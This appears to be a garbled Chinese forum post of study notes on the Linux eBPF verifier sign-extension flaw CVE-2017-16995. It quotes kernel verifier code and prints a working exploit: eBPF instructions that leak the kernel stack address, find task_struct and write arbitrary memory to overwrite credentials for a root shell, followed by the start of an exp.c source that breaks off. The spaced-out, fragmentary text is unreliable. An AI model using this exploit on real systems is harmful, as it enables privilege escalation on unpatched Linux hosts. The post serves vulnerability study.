[19597] 2020-04-09_CVE-2017-16995ebpf符号扩展漏洞学习笔记

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-18
2020-04-09_CVE-2017-16995ebpf符号扩展漏洞学习笔记 C V E - 2 0 1 7 - 1 6 9 9 5   e b p f     P w n R a b b 1 t   i   2 0 2 0 - 0 4 - 0 9   i   P w n R a b b 1 t C V E - 2 0 1 7 - 1 6 9 9 5   e b p f   1 2         e b p f
e b p f r i n g 3 ( J I T ) B P F _ P R O G _ R U N ,     ( M A P ) M A P r i n g 3 M A P e b p f v e r i f i e r B P F _ P R O G _ R U N   x 6 4 C F G 访 r 9 0 x f f f f f f f f [ 4 ] A L U _ M O V _ K ( 9 , 0 x f f f f f f f f ) r 9   =   0 x f f f f f f f f h t t p s : / / e l i x i r . b o o t l i n . c o m / l i n u x / v 4 . 4 . 1 1 0 / s o u r c e / k e r n e l / b p f / v e r i f i e r . c # L 1 7 8 2                   A L U _ M O V _ K ( 9 , 0 x f f f f f f f f ) ,                       / /   [ 0 ]     r 9   =   0 x f f f f f f f f                   J M P _ J N E _ K ( 9 , 0 x f f f f f f f f , 2 ) ,                   / /   [ 1 ]     i f   r 9   ! =   0 x f f f f f f f f :     j m p   [ 4 ]                   A L U 6 4 _ M O V _ K ( 0 , 0 x 0 ) ,                                 / /   [ 2 ]     r 0   =   0                   J M P _ E X I T ( ) ,                                                 / /   [ 3 ]     e x i t                   L D _ I M M _ D W ( 9 , 1 , 3 ) ,                                     / /   [ 4 ]     r 9   =     m a p f d                   B P F _ I N S N _ N E G ,                                             / /   [ 5 ]                     / / r 6   =   m a p [ 0 ]                   A L U 6 4 _ M O V _ X ( 1 , 9 ) ,                                     / /   [ 6 ]     r 1   =     r 9                   A L U 6 4 _ M O V _ X ( 2 , 1 0 ) ,                                   / /   [ 7 ]     r 2   =     r 1 0   ( r b p )                   A L U 6 4 _ A D D _ K ( 2 , - 4 ) ,                                   / /   [ 8 ]     r 2   =     r 2   - 4
c h e c k _ a l u _ o p r e g s [ i n s n - > d s t _ r e g ] . i m m   =   i n s n - > i m m ; s i g n e d   i n t                                 i f   ( c l a s s   = =   B P F _ A L U   | |   c l a s s   = =   B P F _ A L U 6 4 )   {                                                 e r r   =   c h e c k _ a l u _ o p ( e n v ,   i n s n ) ;                                                 i f   ( e r r )                                                                 r e t u r n   e r r ;                                 }   e l s e   i f   ( c l a s s   = =   B P F _ L D X )   {
J M P _ J N E _ K ( 9 , 0 x f f f f f f f f , 2 ) c h e c k _ c o n d _ j m p _ o p i m m s i g n e d   i n t r 9 J M P _ J N E _ K i m m [ 4 ] / / p t y p e   s t r u c t   r e g _ s t a t e t y p e   =   s t r u c t   r e g _ s t a t e   {         e n u m   b p f _ r e g _ t y p e   t y p e ;         u n i o n   {                 i n t   i m m ;                 s t r u c t   b p f _ m a p   * m a p _ p t r ;         } ; } / / / *   c h e c k   v a l i d i t y   o f   3 2 - b i t   a n d   6 4 - b i t   a r i t h m e t i c   o p e r a t i o n s   * / s t a t i c   i n t   c h e c k _ a l u _ o p ( s t r u c t   v e r i f i e r _ e n v   * e n v ,   s t r u c t   b p f _ i n s n   * i n s n ) {                 s t r u c t   r e g _ s t a t e   * r e g s   =   e n v - > c u r _ s t a t e . r e g s ;                 u 8   o p c o d e   =   B P F _ O P ( i n s n - > c o d e ) ;                 i n t   e r r ; / / . . .                 }   e l s e   i f   ( o p c o d e   = =   B P F _ M O V )   { / / . .                                 i f   ( B P F _ S R C ( i n s n - > c o d e )   = =   B P F _ X )   {                                 / / . . .                                 }   e l s e   { / /   B P F _ K     < = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =                                                 / *   c a s e :   R   =   i m m                                                   *   r e m e m b e r   t h e   v a l u e   w e   s t o r e d   i n t o   t h i s   r e g                                                   * /                                                 r e g s [ i n s n - > d s t _ r e g ] . t y p e   =   C O N S T _ I M M ;                                                 r e g s [ i n s n - > d s t _ r e g ] . i m m   =   i n s n - > i m m ; / / 3 2 b i t   < -   3 2 b i t                                 } / / . . .                 r e t u r n   0 ; }
_ _ b p f _ p r o g _ r u n   / *   p t y p e   s t r u c t   r e g _ s t a t e t y p e   =   s t r u c t   r e g _ s t a t e   {         e n u m   b p f _ r e g _ t y p e   t y p e ;         u n i o n   {                 i n t   i m m ;                 s t r u c t   b p f _ m a p   * m a p _ p t r ;         } ; } * / s t a t i c   i n t   c h e c k _ c o n d _ j m p _ o p ( s t r u c t   v e r i f i e r _ e n v   * e n v ,                                                           s t r u c t   b p f _ i n s n   * i n s n ,   i n t   * i n s n _ i d x ) {                 s t r u c t   r e g _ s t a t e   * r e g s   =   e n v - > c u r _ s t a t e . r e g s ;                 s t r u c t   v e r i f i e r _ s t a t e   * o t h e r _ b r a n c h ;                 u 8   o p c o d e   =   B P F _ O P ( i n s n - > c o d e ) ;                 i n t   e r r ;                 / / . . . .                 }   e l s e   i f   ( B P F _ S R C ( i n s n - > c o d e )   = =   B P F _ K   & &                                       ( o p c o d e   = =   B P F _ J E Q   | |   o p c o d e   = =   B P F _ J N E ) )   {                                 i f   ( o p c o d e   = =   B P F _ J E Q )   {                                 / / . . .                                 }   e l s e   {                                                 / *   d e t e c t   i f   ( R   ! =   i m m )   g o t o                                                   *   a n d   i n   t h e   f a l l - t h r o u g h   s t a t e   r e c o g n i z e   t h a t   R   =   i m m                                                   * /                                                 r e g s [ i n s n - > d s t _ r e g ] . t y p e   =   C O N S T _ I M M ;                                                 r e g s [ i n s n - > d s t _ r e g ] . i m m   =   i n s n - > i m m ;                                 }                 }                 i f   ( l o g _ l e v e l )                                 p r i n t _ v e r i f i e r _ s t a t e ( e n v ) ;                 r e t u r n   0 ; }
h t t p s : / / e l i x i r . b o o t l i n . c o m / l i n u x / v 4 . 4 . 1 1 0 / s o u r c e / k e r n e l / b p f / c o r e . c # L 1 9 5 A L U _ M O V _ K D S T = ( u 3 2 ) I M M D S T = 0 x f f f f f f f f J M P _ J N E _ K D S T I M M I M M s i g n e d   i n t D S T     u i n t 6 4 _ t     I M M 0 x f f f f f f f f - 1 0 x f f f f f f f f   f f f f f f f f 0 x f f f f f f f f   ! =   0 x f f f f f f f f   f f f f f f f f L D _ I M M _ D W ( 9 , 1 , 3 )   / /   [ 4 ]   r 9 = m a p f d v e r i f r i e r # d e f i n e   D S T   r e g s [ i n s n - > d s t _ r e g ]                 / /   u i n t 6 4 _ t # d e f i n e   S R C   r e g s [ i n s n - > s r c _ r e g ]                 / /   u i n t 6 4 _ t # d e f i n e   F P     r e g s [ B P F _ R E G _ F P ]                       # d e f i n e   A R G 1         r e g s [ B P F _ R E G _ A R G 1 ]           # d e f i n e   C T X   r e g s [ B P F _ R E G _ C T X ]                   # d e f i n e   I M M   i n s n - > i m m             / /   s i g n e d   i n t                         / / . . s t a t i c   u n s i g n e d   i n t   _ _ b p f _ p r o g _ r u n ( v o i d   * c t x ,   c o n s t   s t r u c t   b p f _ i n s n   * i n s n ) {                 u 6 4   s t a c k [ M A X _ B P F _ S T A C K   /   s i z e o f ( u 6 4 ) ] ;                 u 6 4   r e g s [ M A X _ B P F _ R E G ] ,   t m p ; / / . . . . .                 A L U _ M O V _ K :                                 D S T   =   ( u 3 2 )   I M M ;                                 C O N T ; / / . . .                 J M P _ J N E _ K :                                 i f   ( D S T   ! =   I M M )   {                                                 i n s n   + =   i n s n - > o f f ;                                                 C O N T _ J M P ;                                 }                                 C O N T ; / / . . . }
v u l n         e b p f ( ) t a s k _ s t r u c t t a s k _ s t r u c t c r e d u i d g i d / b i n / s h   g e t s h e l l 4 . 4 . 1 1 0 ,   c o n f i g C O N F I G _ B P F = y   C O N F I G _ B P F _ S Y S C A L L = y 使 b p f p a n d a # i n c l u d e     < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < s t d i n t . h > i n t   m a i n ( i n t   a r g c , c h a r   * * a r g v ) {         s e t b u f ( s t d o u t , 0 ) ;         i n t   i m m   =   0 x f f f f f f f f ;         u i n t 6 4 _ t   d s t   =   ( u i n t 3 2 _ t ) 0 x f f f f f f f f ;         i f (   d s t   ! =   i m m ) {                 p r i n t f ( " v u l n n " ) ;         }         r e t u r n   0 ; }                                 A L U _ M O V _ K ( 9 , 0 x f f f f f f f f ) ,                       / /   [ 0 ]     r 9   =   0 x f f f f f f f f
                                A L U _ M O V _ K ( 9 , 0 x f f f f f f f f ) ,                       / /   [ 0 ]     r 9   =   0 x f f f f f f f f                   J M P _ J N E _ K ( 9 , 0 x f f f f f f f f , 2 ) ,                   / /   [ 1 ]     i f   r 9   ! =   0 x f f f f f f f f :     j m p   [ 4 ]                   A L U 6 4 _ M O V _ K ( 0 , 0 x 0 ) ,                                 / /   [ 2 ]     r 0   =   0                   J M P _ E X I T ( ) ,                                                 / /   [ 3 ]     e x i t / /                     L D _ I M M _ D W ( 9 , 1 , 3 ) ,                                     / /   [ 4 ]     r 9   =     m a p f d                   B P F _ I N S N _ N E G ,                                             / /   [ 5 ]     p a d d i n g                     / / r 6   =   m a p [ 0 ]                   A L U 6 4 _ M O V _ X ( 1 , 9 ) ,                                     / /   [ 6 ]     r 1   =     r 9                   A L U 6 4 _ M O V _ X ( 2 , 1 0 ) ,                                   / /   [ 7 ]     r 2   =     r 1 0   ( r b p )                   A L U 6 4 _ A D D _ K ( 2 , - 4 ) ,                                   / /   [ 8 ]     r 2   =     r 2   - 4                   S T _ M E M _ W ( 1 0 , - 4 , 0 ) ,                                   / /   [ 9 ]     [ r 1 0   -   4 ]   = 0 / / f i x u p _ b p f _ c a l l s                   J M P _ C A L L ( B P F _ F U N C _ m a p _ l o o k u p _ e l e m ) , / /   [ 1 0 ]   m a p _ l o o k u p _ e l e m                   J M P _ J N E _ K ( 0 , 0 , 1 ) ,                                     / /   [ 1 1 ]   i f   r 0   ! =   0   :   j m p   [ 1 3 ]                   J M P _ E X I T ( ) ,                                                 / /   [ 1 2 ]   e x i t                   L D X _ M E M _ D W ( 6 , 0 , 0 ) ,                                   / /   [ 1 3 ]   r 6   =   [ r 0 ]                   / /   r 7   = m a p [ 1 ]                   A L U 6 4 _ M O V _ X ( 1 , 9 ) ,                                     / /   [ 1 4 ]     r 1   =     r 9                   A L U 6 4 _ M O V _ X ( 2 , 1 0 ) ,                                   / /   [ 1 5 ]     r 2   =     r 1 0   ( r b p )                   A L U 6 4 _ A D D _ K ( 2 , - 4 ) ,                                   / /   [ 1 6 ]     r 2   =     r 2   - 4                   S T _ M E M _ W ( 1 0 , - 4 , 1 ) ,                                   / /   [ 1 7 ]     [ r 1 0   -   4 ]   = 0                   J M P _ C A L L ( B P F _ F U N C _ m a p _ l o o k u p _ e l e m ) , / /   [ 1 8 ]   m a p _ l o o k u p _ e l e m                   J M P _ J N E _ K ( 0 , 0 , 1 ) ,                                     / /   [ 1 9 ]   i f   r 0   ! =   0   :   j m p   [ 2 1 ]                   J M P _ E X I T ( ) ,                                                 / /   [ 2 0 ]   e x i t                   L D X _ M E M _ D W ( 7 , 0 , 0 ) ,                                   / /   [ 2 1 ]   r 7   =   [ r 0 ]                   / /   r 8 = m a p [ 2 ]                   A L U 6 4 _ M O V _ X ( 1 , 9 ) ,                                     / /   [ 2 2 ]     r 1   =     r 9                   A L U 6 4 _ M O V _ X ( 2 , 1 0 ) ,                                   / /   [ 2 3 ]     r 2   =     r 1 0   ( r b p )                   A L U 6 4 _ A D D _ K ( 2 , - 4 ) ,                                   / /   [ 2 4 ]     r 2   =     r 2   - 4                   S T _ M E M _ W ( 1 0 , - 4 , 2 ) ,                                   / /   [ 2 5 ]     [ r 1 0   -   4 ]   = 0                   J M P _ C A L L ( B P F _ F U N C _ m a p _ l o o k u p _ e l e m ) , / /   [ 2 6 ]   m a p _ l o o k u p _ e l e m                   J M P _ J N E _ K ( 0 , 0 , 1 ) ,                                     / /   [ 2 7 ]   i f   r 0   ! =   0   :   j m p   [ 2 9 ]                   J M P _ E X I T ( ) ,                                                 / /   [ 2 8 ]   e x i t                   L D X _ M E M _ D W ( 8 , 0 , 0 ) ,                                   / /   [ 2 9 ]   r 8   =   [ r 0 ]                   A L U 6 4 _ M O V _ X ( 2 , 0 ) ,                                     / /   [ 3 0 ]   r 2   =     r 0
r 6 = m a p [ 0 ] r 7 = m a p [ 1 ] r 8 = m a p [ 2 ]   ( m a p   ) m a p [ 0 ] = = 0   m a p [ 1 ]   m a p [ 0 ] = = 1 r b p = = > a d d r   &   ~ ( 0 x 4 0 0 0   -   1 ) ;     t a s k _ s t r u c t   m a p [ 0 ]   = = 2 * m a p [ 1 ] =   m a p [ 2 ] ( [ r 7 ] = r 8 )     e x p     e x p     ,   e x p . c                   A L U 6 4 _ M O V _ K ( 0 , 0 ) ,                                     / /   [ 3 1 ]   r 0   =     0 / /   m a p [ 0 ]   = =   0                     J M P _ J N E _ K ( 6 , 0 , 3 ) ,                                     / /   [ 3 2 ]   i f   r 6   ! = 0 :   j m p   [ 3 6 ]                   L D X _ M E M _ D W ( 3 , 7 , 0 ) ,                                   / /   [ 3 3 ]   r 3   =   [ r 7 ]   ( m a p [ 1 ] )                   S T X _ M E M _ D W ( 2 , 0 , 3 ) ,                                   / /   [ 3 4 ]   [ r 2 ]   =   r 3                   J M P _ E X I T ( ) ,                                                 / /   [ 3 5 ]   e x i t / /   m a p [ 0 ]   = =   1     l e a k   r b p   a d d r                   J M P _ J N E _ K ( 6 , 1 , 2 ) ,                                     / /   [ 3 6 ]   i f   r 6   ! = 1 :   j m p   [ 3 9 ]                   S T X _ M E M _ D W ( 2 , 0 , 1 0 ) ,                                 / /   [ 3 7 ]   [ r 2 ]   =   r 1 0   ( r b p )                   J M P _ E X I T ( ) ,                                                 / /   [ 3 8 ]   e x i t / /   m a p [ 0 ]   = =   2                     S T X _ M E M _ D W ( 7 , 0 , 8 ) ,                                   / /   [ 3 9 ]   [ r 7 ]   =   r 8                   J M P _ E X I T ( ) ,                                                 / /   [ 4 0 ]   e x i t # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s t d i n t . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < s y s / i o c t l . h > # i n c l u d e   < s t r i n g . h > # i n c l u d e   < s y s / m m a n . h > # i n c l u d e   < s y s / s y s c a l l . h > # i n c l u d e   < s y s / s o c k e t . h >
# i n c l u d e   < s y s / s o c k e t . h > # i n c l u d e   < e r r n o . h > # i n c l u d e   " b p f _ i n s n _ h e l p e r . h " t y p e d e f   u i n t 3 2 _ t   u 3 2 ; t y p e d e f   i n t 3 2 _ t   s 3 2 ; t y p e d e f   u i n t 6 4 _ t   u 6 4 ; t y p e d e f   i n t 6 4 _ t   s 6 4 ; v o i d   l o g s ( c h a r   * t a g , c h a r   * b u f ) {         p r i n t f ( " [   s ] :   " ) ;         p r i n t f ( "   % s   " , t a g ) ;         p r i n t f ( " :   % s n " , b u f ) ; } v o i d   l o g x ( c h a r   * t a g , u i n t 3 2 _ t   n u m ) {         p r i n t f ( " [   x ]   " ) ;         p r i n t f ( "   % - 2 0 s   " , t a g ) ;         p r i n t f ( " :   % - # 8 x n " , n u m ) ; } v o i d   l o g l x ( c h a r   * t a g , u i n t 6 4 _ t   n u m ) {         p r i n t f ( " [ l x ]   " ) ;         p r i n t f ( "   % - 2 0 s   " , t a g ) ;         p r i n t f ( " :   % - # 1 6 l x n " , n u m ) ; } v o i d   b p ( c h a r   * t a g ) {         p r i n t f ( " [ b p ]   :   % s n " , t a g ) ;         g e t c h a r ( ) ; } v o i d   i n i t ( ) {         s e t b u f ( s t d i n , 0 ) ;         s e t b u f ( s t d o u t , 0 ) ; } i n t   m a p f d , p r o g f d ; i n t   s o c k e t s [ 2 ] ; # d e f i n e   L O G _ B U F _ S I Z E   6 5 5 3 6 # d e f i n e   P R O G S I Z E   3 2 8 # d e f i n e   P H Y S _ O F F S E T   0 x f f f f 8 8 0 0 0 0 0 0 0 0 0 0
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则